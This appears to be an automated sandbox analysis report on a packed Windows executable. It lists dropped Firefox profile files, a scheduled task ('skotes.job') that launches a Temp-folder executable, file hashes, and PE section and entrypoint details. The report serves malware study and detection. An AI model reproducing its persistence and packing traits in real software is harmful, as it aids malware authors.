Preview:	mozLz40..W....{"app-system-defaults":{"addon....formautofill@mozilla.org&..Gdependencies":[],"enabled":true,"lastModifiedTime":1695865283000,"loader":null,"path":s.....xpi","recommendationStateA...rootURI":"jar:file:///C:/Program%20Files/M.......refox/browser/features/...... !/...unInSafeMode..wsignedD...telemetryKey..7%40R...:1.0.1","version":"..`},"pic..#in.....T.n..w...........S.......(.[......0....0"},"screenshots..T.r.....[.......(.V....-39.......},"webcompat-reporter...Ofals..&.z.....[.......(.]....=1.5.............<.)....p....d......1.z.!18...5.....startupData...pX.astentL..!er...webRequest%..onBefore...[[{"incognitoi.UtabId..!yp...."main_frame"],"url...."://login.microsoftonline.com/","..@us/L.dwindows...},["blocking"]],...Iimag...https://smartT.".f.....etp/facebook.svg",...Aplay....8`script...P.....-....-testbed.herokuapp\.`shims_..3.jsh.bexampl\|.......Pexten{..Q../?..s...S.J/_2..@&_3U..s7.addthis . ic...officialK......-angularjs/current/dist(..t.min.js...track.adB...net/s

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\addonStartup.json.lz4.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 22422 bytes
Category:	dropped
Size (bytes):	5308
Entropy (8bit):	6.599374203470186
Encrypted:	false
SSDEEP:	96:z2YbKsKNU2xWrp327tGmD4wBON6h6cHAHJVauvjZHjkTymdS1/qTMg6Uhm:zTx2x2t0FDJ4NpkuvjdeplTMohm
MD5:	EB56C2F4DA9435F3D5574161F414CD17
SHA1:	74A8FC3EC0559740FD9D835B638354985E2DEAB6
SHA-256:	394E803D5FF8E156DFA7D15E96B51A683F4624A1BCF88EAA532399AC2C9B0966
SHA-512:	DF90568D191C757392FB85BDDA5333C7FE7E3BB370C5DE8C50DD810B938D732E39B5608FB4494CAADAE99E1601989FDFC0FEBDCF70F27FFE581F904170A81E0F
Malicious:	false
Preview:	mozLz40..W....{"app-system-defaults":{"addon....formautofill@mozilla.org&..Gdependencies":[],"enabled":true,"lastModifiedTime":1695865283000,"loader":null,"path":s.....xpi","recommendationStateA...rootURI":"jar:file:///C:/Program%20Files/M.......refox/browser/features/...... !/...unInSafeMode..wsignedD...telemetryKey..7%40R...:1.0.1","version":"..`},"pic..#in.....T.n..w...........S.......(.[......0....0"},"screenshots..T.r.....[.......(.V....-39.......},"webcompat-reporter...Ofals..&.z.....[.......(.]....=1.5.............<.)....p....d......1.z.!18...5.....startupData...pX.astentL..!er...webRequest%..onBefore...[[{"incognitoi.UtabId..!yp...."main_frame"],"url...."://login.microsoftonline.com/","..@us/L.dwindows...},["blocking"]],...Iimag...https://smartT.".f.....etp/facebook.svg",...Aplay....8`script...P.....-....-testbed.herokuapp\.`shims_..3.jsh.bexampl\|.......Pexten{..Q../?..s...S.J/_2..@&_3U..s7.addthis . ic...officialK......-angularjs/current/dist(..t.min.js...track.adB...net/s

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\compatibility.ini

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Windows WIN.INI
Category:	dropped
Size (bytes):	200
Entropy (8bit):	5.391255133360986
Encrypted:	false
SSDEEP:	3:tZAQUsjcmktYWwktUp/UNE2aT/P4WX1rDZjrEFwHQ3ZjrEFwslyy:JWtYWXtUp8babN1rDVEFycVEFL
MD5:	3FB561547A46AF02D6B00F86DC370634
SHA1:	914867E4C763611B441835A3FC0082359FBF7277
SHA-256:	5393F0E8D90EE6A26EAC13B81B83EDC0637487B3E427175021D7EC4CDE8E34A7
SHA-512:	0E05486A6B6AD65D3A95FCFE46BE6687DD47E311374F11DE89F9CFB8C301951D6BFE43FA24851A3E759B6F8AF69A5F593568FB61F576AB52941F6B2B6EE54BC8
Malicious:	false
Preview:	[Compatibility]..LastVersion=118.0.1_20230927232528/20230927232528..LastOSABI=WINNT_x86_64-msvc..LastPlatformDir=C:\Program Files\Mozilla Firefox..LastAppDir=C:\Program Files\Mozilla Firefox\browser..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\content-prefs.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 5, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 8, cookie 0x6, schema 4, largest root page 8, UTF-8, vacuum mode 1, version-valid-for 4
Category:	dropped
Size (bytes):	262144
Entropy (8bit):	0.04905141882491872
Encrypted:	false
SSDEEP:	24:DLSvwae+Q8Uu50xj0aWe9LxYkKA25Q5tvAA:DKwae+QtMImelekKDa5
MD5:	8736A542C5564A922C47B19D9CC5E0F2
SHA1:	CE9D58967DA9B5356D6C1D8A482F9CE74DA9097A
SHA-256:	97CE5D8AFBB0AA610219C4FAC3927E32C91BFFD9FD971AF68C718E7B27E40077
SHA-512:	99777325893DC7A95FD49B2DA18D32D65F97CC7A8E482D78EDC32F63245457FA5A52750800C074D552D20B6A215604161FDC88763D93C76A8703470C3064196B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......\|....~.}.}z}-\|.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\favicons.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\permissions.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.0733666067446506
Encrypted:	false
SSDEEP:	12:DBl/A0OWla0mwPxRymgObsCVR45wcYR4fmnsCVR4zkixu:DLhesh7Owd4+jiU
MD5:	B0482A19D876F912CAF111392DA1E88E
SHA1:	3F558B508D390181A4A1F4182D79F2C6B56E549F
SHA-256:	EA29867ECF8271A706590FA6B933ECE7CBF1DB4FC01F3C1F70A27F9946DEB59C
SHA-512:	7F9001CFC4723E9DB3BE2B220A3EC48E7D6CC82888F7F94F6F3A8E4CEAC04C16F1DA9CC35B5012DFD076C48F5A6514010DE21EE56E9E2E086BBB19294DC2907B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......~s..F~s........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.035447157006298996
Encrypted:	false
SSDEEP:	3:GtlstFc6c8iX62rSYottlstFc6c8iX62rSA//J89//alEl:GtWte686eSxtWte686eSA/J89XuM
MD5:	B164C803CC1B0D3E8D9AB1B5B4696523
SHA1:	0F9AB9E73CE3A467BBB8C3617CB7B909351FAB28
SHA-256:	1B05EA00A86AF89C0C1B80EDDF863FDE73432634BC35A102202B00B5B366FB1E
SHA-512:	57B0A2E0F5CC1F4478E50B78F136334F887DA7DDEF8F6EE12426DA15920FAF715DF447AEFC74348763BAD38EA255684473D2345C9AF343CD7AB51822A915001D
Malicious:	false
Preview:	..-.....................K..9\......v.2~..y.wl.Ty..-.....................K..9\......v.2~..y.wl.Ty........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	32824
Entropy (8bit):	0.035083953161994426
Encrypted:	false
SSDEEP:	3:Ol1wepkhyaS3v6OGFf5SrV//mwl8XW3R2:KOepk6v6OoEpuw93w
MD5:	9D09EDF84AF6A423CB85F2273F14D0D1
SHA1:	344881365878BFB2C9758AD06B6851A11E94F719
SHA-256:	64F0B863DD04F5F1DFF4B571B0F85EBC0E7CC65AAEAF517FE2AF8DCFF31B0084
SHA-512:	DEBC6D5E53A9A4E3AB3E60890845E71BE8138E9B6E2A2943057340D755B65B68345DF853DE4A996A3F8CF0DC9904F55B2CA0379FD20F6C900A202F90E02AC4A1
Malicious:	false
Preview:	7....-.............v.2~.L....W.............v.2~.9..K...\................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	12850
Entropy (8bit):	5.456497996624024
Encrypted:	false
SSDEEP:	192:5nTFTRRUYbBp6qLZNMGaXX6qU4szy+/3/75im5RYiNBw8dJSl:JKeHFNMmvyC5Rdw80
MD5:	53D0F9AB6CD6751D0993D050DEB58B5C
SHA1:	08AC23E621E504E8BA99E3DE04CF28D025007D20
SHA-256:	443CDBD953CFD3FD2F0C81AFF94B5A91AB3732DF4D9A0F64567E3B1C33DC9D20
SHA-512:	9E016439B7C3B0891FAEDF2B2FC7F4B9790CB760534F9E1588720B59C3002BFEB9D4AC32D5095EF368BC66C3E2621108CF7915F258180F82BB34CBAD6FB6EA09
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1730266394);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	12850
Entropy (8bit):	5.456497996624024
Encrypted:	false
SSDEEP:	192:5nTFTRRUYbBp6qLZNMGaXX6qU4szy+/3/75im5RYiNBw8dJSl:JKeHFNMmvyC5Rdw80
MD5:	53D0F9AB6CD6751D0993D050DEB58B5C
SHA1:	08AC23E621E504E8BA99E3DE04CF28D025007D20
SHA-256:	443CDBD953CFD3FD2F0C81AFF94B5A91AB3732DF4D9A0F64567E3B1C33DC9D20
SHA-512:	9E016439B7C3B0891FAEDF2B2FC7F4B9790CB760534F9E1588720B59C3002BFEB9D4AC32D5095EF368BC66C3E2621108CF7915F258180F82BB34CBAD6FB6EA09
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1730266394);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\protections.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 1, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 2, cookie 0x1, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.04062825861060003
Encrypted:	false
SSDEEP:	3:lSGBl/l/zl9l/AltllPltlnKollzvulJOlzALRWemFxu7TuRjBFbrl58lcV+wgn8:ltBl/lqN1K4BEJYqWvLue3FMOrMZ0l
MD5:	60C09456D6362C6FBED48C69AA342C3C
SHA1:	58B6E22DAA48C75958B429F662DEC1C011AE74D3
SHA-256:	FE1A432A2CD096B7EEA870D46D07F5197E34B4D10666E6E1C357FAA3F2FE2389
SHA-512:	936DBC887276EF07732783B50EAFE450A8598B0492B8F6C838B337EF3E8A6EA595E7C7A2FA4B3E881887FAAE2D207B953A4C65ED8C964D93118E00D3E03882BD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......x..x..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 131075, last written using SQLite version 3042000, page size 512, file counter 6, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	modified
Size (bytes):	4096
Entropy (8bit):	2.0429414119865847
Encrypted:	false
SSDEEP:	24:JBkSldh/cEUcR9PzNFPFHx/GJRBdkOrDcRB1trwDeAq2gRMyxr3:jkSWEUo9LXtR+JdkOnohYsl
MD5:	065126257A10997E9245D4448C949491
SHA1:	AC1A63CEC8564CB3C2634728694094BA94FCEEBD
SHA-256:	F885A0066424B230DCD7BB5FF805D200E14C3F98D61A62C07688027CFA05B45B
SHA-512:	D46E8920865F26EDB16F07B8B7DAE03E3C4699E2872DECB0C694BC01C46F8357FB58B5BA44B86D2937218244EC83ADF040DCD41E41414A9E27397E87CD82CA23
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\targeting.snapshot.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4412
Entropy (8bit):	5.008371287171235
Encrypted:	false
SSDEEP:	48:YrSAYnyHqUQZpExB1+anOdW6VhOGVpWJzzcsYMsku7f86SLAVL775FtsfbcbyJF4:ycyCTEr5NfJzzcBvbw6Kkvmc2Rn27
MD5:	ABE65A7B6EABCD4D245B081A5D0CCDBF
SHA1:	847219D28660C96B85E9C42A7D60AD0FBB50FA22
SHA-256:	39BDCAD938EC03F36475370B254476DF742375073FF6CA91BA67010192EEC940
SHA-512:	5EA50E00F7959772A7667816315B5E6B67C8697B3EDA41F7F1BC7F087FA3C5001BAD0430FC87C44EEA38F65C01FDA74144136D904C0CC9F2ABF2E0AEB1AFA1D3
Malicious:	false
Preview:	{"environment":{"locale":"en-US","localeLanguageCode":"en","browserSettings":{"update":{"channel":"release","enabled":true,"autoDownload":true,"background":true}},"attributionData":{"campaign":"%2528not%2Bset%2529","content":"%2528not%2Bset%2529","dlsource":"mozorg","dltoken":"cd09ae95-e2cf-4b8b-8929-791b0dd48cdd","experiment":"%2528not%2Bset%2529","medium":"referral","source":"www.google.com","ua":"chrome","variation":"%2528not%2Bset%2529"},"currentDate":"2024-10-30T05:33:16.308Z","profileAgeCreated":1696486829272,"usesFirefoxSync":false,"isFxAEnabled":true,"isFxASignedIn":false,"sync":{"desktopDevices":0,"mobileDevices":0,"totalDevices":0},"xpinstallEnabled":true,"addonsInfo":{"addons":{"formautofill@mozilla.org":{"version":"1.0.1","type":"extension","isSystem":true,"isWebExtension":true,"name":"Form Autofill","userDisabled":false,"installDate":"2023-09-28T01:41:23.000Z"},"pictureinpicture@mozilla.org":{"version":"1.0.0","type":"extension","isSystem":true,"isWebExtension":true,"name"

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\targeting.snapshot.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4412
Entropy (8bit):	5.008371287171235
Encrypted:	false
SSDEEP:	48:YrSAYnyHqUQZpExB1+anOdW6VhOGVpWJzzcsYMsku7f86SLAVL775FtsfbcbyJF4:ycyCTEr5NfJzzcBvbw6Kkvmc2Rn27
MD5:	ABE65A7B6EABCD4D245B081A5D0CCDBF
SHA1:	847219D28660C96B85E9C42A7D60AD0FBB50FA22
SHA-256:	39BDCAD938EC03F36475370B254476DF742375073FF6CA91BA67010192EEC940
SHA-512:	5EA50E00F7959772A7667816315B5E6B67C8697B3EDA41F7F1BC7F087FA3C5001BAD0430FC87C44EEA38F65C01FDA74144136D904C0CC9F2ABF2E0AEB1AFA1D3
Malicious:	false
Preview:	{"environment":{"locale":"en-US","localeLanguageCode":"en","browserSettings":{"update":{"channel":"release","enabled":true,"autoDownload":true,"background":true}},"attributionData":{"campaign":"%2528not%2Bset%2529","content":"%2528not%2Bset%2529","dlsource":"mozorg","dltoken":"cd09ae95-e2cf-4b8b-8929-791b0dd48cdd","experiment":"%2528not%2Bset%2529","medium":"referral","source":"www.google.com","ua":"chrome","variation":"%2528not%2Bset%2529"},"currentDate":"2024-10-30T05:33:16.308Z","profileAgeCreated":1696486829272,"usesFirefoxSync":false,"isFxAEnabled":true,"isFxASignedIn":false,"sync":{"desktopDevices":0,"mobileDevices":0,"totalDevices":0},"xpinstallEnabled":true,"addonsInfo":{"addons":{"formautofill@mozilla.org":{"version":"1.0.1","type":"extension","isSystem":true,"isWebExtension":true,"name":"Form Autofill","userDisabled":false,"installDate":"2023-09-28T01:41:23.000Z"},"pictureinpicture@mozilla.org":{"version":"1.0.0","type":"extension","isSystem":true,"isWebExtension":true,"name"

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\S70TEYDWG0MIRHL2D28PBWQHSI2HDI.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.42593868952304
Encrypted:	false
SSDEEP:	6:JhGpXUhXUEZ+lX1CGdKUe6tE9+AQy0lsEt0:Jhi4Q1CGAFD9+nVNt0
MD5:	AE796ECC28A0C302ED95601C52D008E3
SHA1:	9829B99EDAA95F4D30A40D2F4D34898593127DDA
SHA-256:	32A620A6E021966366F78CDAFFC1FD1F6F5A99DF0603A28BC02A590352EDFD6D
SHA-512:	3FD2C0AC67EC8ABC817F69755FBE3CD40C6591E3A65DC07CECBC0CE1D8E23EA5B84C5426B8EADCBC6F2108B5EDF967A220758CD9B8EDE224638E2612CA300A0A
Malicious:	false
Preview:	........E..I.2.[.7HF.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.528354366318549
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'994'688 bytes
MD5:	7f339d0252f408065abe57ac23eed91c
SHA1:	1f07e6f292500fd235ec540cb56045a3081efa6d
SHA256:	c94e84bee19b31c4663f8df36368ed87dd16e2021b5727a45c973ed8cf04dc0d
SHA512:	b9e8c24fdce5011437d4080baf884065656c1f8d3760914580307ff0ada32b008c5e44e6b0ce4bbfd7f43471ddcd8ee1e82f2dd40d776afbaf7359c54033a4db
SSDEEP:	49152:B/IOgOuclMO+1H9xKTssqKd/w10QQN0pHHT:B/IOgOuclMO+1H9UsJA/M0doHT
TLSH:	63D56CA2B90871CFC48E17748127CF43599E47B84B2189E3AC6DB6BA7D63DC506B6C34
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............0...........@...........................0......U....@.................................T...h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x70c000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6715D353 [Mon Oct 21 04:06:43 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F988C88370Ah
seto byte ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
sbb al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5a054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x59000	0x340	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5a1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x58000	0x27e00	3c50d36bbcfc1354bf891c16ad4fffb9	False	0.9977836010971787	data	7.965337240899708	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x59000	0x340	0x400	914cd139a383496d0085d499d138ef92	False	0.390625	data	4.997389973748798	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5a000	0x1000	0x200	555a11fa24a077379003c187d9c9d020	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
opmmjkup	0x5b000	0x2b0000	0x2af800	82fa9f0ebbdb96a7b9d046dfa6d362f4	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
dvfrhkft	0x30b000	0x1000	0x400	765e63cb6936327142287c94fdcf2fbc	False	0.7744140625	data	6.096453767551088	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x30c000	0x3000	0x2200	892210560472b601f04f89c1ee04198a	False	0.07525275735294118	DOS executable (COM)	1.1901492713287332	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x59058	0x2e6	XML 1.0 document, ASCII text, with CRLF line terminators			0.45417789757412397

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

